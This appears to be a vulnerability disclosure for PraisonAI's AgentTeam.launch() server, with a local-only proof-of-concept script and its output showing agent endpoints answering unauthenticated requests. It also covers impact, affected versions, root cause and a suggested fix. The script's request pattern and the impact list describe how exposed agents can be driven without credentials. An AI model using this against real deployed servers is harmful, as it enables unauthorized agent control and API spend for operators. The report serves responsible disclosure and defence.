@app.post(path)
async def handle_query(request: Request, query_data: Optional[AgentQuery] = None):
    ...
    response = await loop.run_in_executor(
        None,
        copy_context_to_callable(lambda ci=current_input: agent_instance.chat(ci)),
    )

Per-agent sink:

app.post(agent_path)(create_agent_handler(agent_instance))
...
response = await loop.run_in_executor(
    None,
    copy_context_to_callable(lambda q=query: agent.chat(q)),
)

List endpoint:

@app.get(f"{path}/list")
async def list_agents():
    return {"agents": [{"name": agent.display_name, "id": ...} for agent in self.agents]}

There is no middleware, dependency, token comparison, bearer-token parsing, API-key check, or startup fail-closed guard in this launch path.

Security Boundary

This is not a trust-model-only report. PraisonAI's own current security documentation says API servers were hardened so that anonymous requests return 401 and API servers bind to 127.0.0.1 by default after the prior unauthenticated API advisory family.

The codebase also contains hardened sibling implementations:

• praisonai.deploy.api now has AUTH_ENABLED, PRAISONAI_API_TOKEN, generated tokens, and 401 Unauthorized checks (src/praisonai/praisonai/deploy/api.py lines 44-62 and 69-97).
• praisonai.gateway.server.WebSocketGateway validates external bind safety, requires a token for external binds, checks bearer/query/cookie auth, and validates WebSocket auth (src/praisonai/praisonai/gateway/server.py lines 328-424).
• praisonai call hardening is documented as requiring CALL_SERVER_TOKEN or explicit opt-out.

AgentTeam.launch() remains outside those shared controls even though it exposes the same class of network-facing agent invocation surface.

Local-Only Reproduction

Run the local-only PoV script below with current source on PYTHONPATH:

PYTHONPATH="/path/to/PraisonAI/src/praisonai-agents:/path/to/PraisonAI/src/praisonai" \
  python poc_agentteam_launch_unauth.py

Expected vulnerable result:

[poc] HIT: unauthenticated clients invoked AgentTeam endpoints

Observed on current upstream main:

{
  "results": [
    {
      "body": {
        "agents": [
          {
            "id": "pov_agent",
            "name": "pov_agent"
          }
        ]
      },
      "case": "no_auth_list",
      "method": "GET",
      "path": "/agents/list",
      "status": 200
    },
    {
      "case": "no_auth_group",
      "method": "POST",
      "path": "/agents",
      "status": 200,
      "body": {
        "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
        "query": "marker",
        "results": [
          {
            "agent": "pov_agent",
            "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
          }
        ]
      }
    },
    {
      "case": "wrong_bearer_group",
      "method": "POST",
      "path": "/agents",
      "status": 200,
      "body": {
        "final_response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker",
        "query": "marker",
        "results": [
          {
            "agent": "pov_agent",
            "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
          }
        ]
      }
    },
    {
      "case": "no_auth_per_agent",
      "method": "POST",
      "path": "/agents/pov_agent",
      "status": 200,
      "body": {
        "agent": "pov_agent",
        "query": "marker",
        "response": "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
      }
    }
  ]
}

The PoV binds to 127.0.0.1, uses a randomly selected local port, stubs agent.chat() to avoid any external LLM provider, and sends only local HTTP requests.

Standalone PoV script:

#!/usr/bin/env python3
"""
Local-only PoV for PRAI-CAND-003.

Starts a PraisonAI AgentTeam/Agents HTTP server on 127.0.0.1 with a stubbed
agent response, then proves both the group endpoint and per-agent endpoint
execute without authentication. No model provider or external network is used.
"""

import json
import socket
import time
import types
import threading
from contextlib import closing

import requests
from praisonaiagents import Agent, Agents


def _free_port() -> int:
    with closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


def main() -> int:
    port = _free_port()

    agent = Agent(
        name="pov_agent",
        role="tester",
        goal="test",
        backstory="test",
        llm=None,
    )

    def stub_chat(self, query, *args, **kwargs):
        return f"POV_UNAUTH_AGENTTEAM_EXECUTED:{query}"

    agent.chat = types.MethodType(stub_chat, agent)
    team = Agents(agents=[agent])
    launch_thread = threading.Thread(
        target=lambda: team.launch(path="/agents", port=port, host="127.0.0.1", debug=False),
        daemon=True,
    )
    launch_thread.start()

    base = f"http://127.0.0.1:{port}"
    for _ in range(40):
        try:
            response = requests.get(base + "/health", timeout=0.25)
            if response.status_code == 200:
                break
        except Exception:
            time.sleep(0.1)
    else:
        raise SystemExit("[poc] MISS: server did not start")

    cases = [
        ("no_auth_list", "GET", {}, "/agents/list", None),
        ("no_auth_group", "POST", {}, "/agents", {"query": "marker"}),
        (
            "wrong_bearer_group",
            "POST",
            {"Authorization": "Bearer definitely-wrong"},
            "/agents",
            {"query": "marker"},
        ),
        ("no_auth_per_agent", "POST", {}, "/agents/pov_agent", {"query": "marker"}),
    ]
    results = []
    for name, method, headers, path, body in cases:
        if method == "GET":
            response = requests.get(base + path, headers=headers, timeout=5)
        else:
            response = requests.post(base + path, json=body, headers=headers, timeout=5)
        try:
            body = response.json()
        except Exception:
            body = response.text
        results.append(
            {
                "case": name,
                "method": method,
                "path": path,
                "status": response.status_code,
                "body": body,
            }
        )

    print(json.dumps({"port": port, "results": results}, indent=2, sort_keys=True))

    expected_marker = "POV_UNAUTH_AGENTTEAM_EXECUTED:marker"
    for result in results:
        if result["status"] != 200:
            raise SystemExit(f"[poc] MISS: {result['case']} returned {result['status']}")
        if result["case"] == "no_auth_list" and "pov_agent" not in json.dumps(result["body"]):
            raise SystemExit("[poc] MISS: unauthenticated list endpoint did not expose agent id")
        if result["case"] == "no_auth_list":
            continue
        body_text = json.dumps(result["body"], sort_keys=True)
        if expected_marker not in body_text:
            raise SystemExit(f"[poc] MISS: marker absent for {result['case']}")

    print("[poc] HIT: unauthenticated clients invoked AgentTeam endpoints")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

If an operator follows the documented remote-server pattern and exposes an AgentTeam.launch() server on a reachable interface, any network client can invoke the deployed agents without credentials.

Depending on the deployed agents, an unauthenticated caller may be able to:

• enumerate available agent IDs and names through GET /{path}/list;
• trigger model/API spend by repeatedly invoking agents;
• drive agents connected to local tools, internal APIs, SaaS integrations, browsers, files, or workflow actions;
• trigger side effects through per-agent endpoints even if the operator expected only the team endpoint to be used;
• access responses generated from connected private context, memory, or knowledge sources.

The impact is deployment-dependent, but the missing access control is in the framework's advertised network server path rather than in user application code.

Affected-Version Sweep

Static sweep of release tags shows the unauthenticated AgentTeam.launch() handler and per-agent registration present in:

• v4.6.33
• v4.6.39
• v4.6.40
• v4.6.56
• v4.6.57

The issue remains present on current upstream main 2f9677abb2ea68eab864ee8b6a828fd0141612e1.

The generated deploy API path was hardened between v4.6.33 and v4.6.39, and remains hardened in v4.6.57. This supports the incomplete-fix/sibling-callsite classification: the fix did not cover AgentTeam.launch().

Root Cause

The AgentTeam.launch() FastAPI server is implemented as an independent route-registration path. It does not reuse the hardened API server authentication helper, the gateway bind-aware auth guard, or a shared server-auth policy.

The security-sensitive action is direct invocation of agent.chat() from a network request. The route has no access-control check before that call.

Suggested Fix

Recommended approach:

1. Add a shared authentication helper for all network-facing agent invocation servers.
2. Make AgentTeam.launch() fail closed for non-loopback binds unless a token/API key is configured.
3. Require Authorization: Bearer <token> or an explicit documented API-key header for POST /{path}, GET /{path}/list, and POST /{path}/{agent_id}.
4. Default AgentTeam.launch() to host="127.0.0.1" unless an explicit unsafe/remote option plus auth is configured.
5. Add regression tests proving:
   • no token returns 401;
   • wrong token returns 403;
   • correct token can list agents;
   • correct token can invoke the team endpoint;
   • correct token can invoke the per-agent endpoint;
   • external bind without auth fails at startup.

If unauthenticated local development remains supported, require loopback binding and a loud explicit unsafe opt-out for externally bound unauthenticated servers.

Severity

Recommended severity: Critical

Rationale:

• Network attack vector: the documented server supports remote access via 0.0.0.0.
• Low complexity: a single POST request invokes the agent.
• No privileges: no credentials are required.
• No user interaction: once the server is exposed, the attacker directly sends requests.
• High confidentiality/integrity/availability impact depends on deployed agents and connected tools, but this is the same agent-control class as prior PraisonAI unauthenticated API advisories. The official remote-agent documentation explicitly discusses remote agents with tools, memory, knowledge, and auth headers, so the security-relevant configuration is not hypothetical.

If maintainers want to score based only on minimal agents with no tools and no private context, the lower-bound impact would still include unauthorized remote invocation and model/API spend.

Notes

The direct single-agent Agent.launch() path in current source appears to share the same missing-auth design, but it raises NameError: name '_server_lock' is not defined before serving in the tested local source checkout. This report therefore makes the primary impact claim only for the confirmed working AgentTeam.launch() / Agents.launch() path.

The CLI praisonai serve agents surface advertises a --api-key option and should be reviewed by maintainers when applying a shared fix, but this submission does not depend on a CLI-specific bypass claim.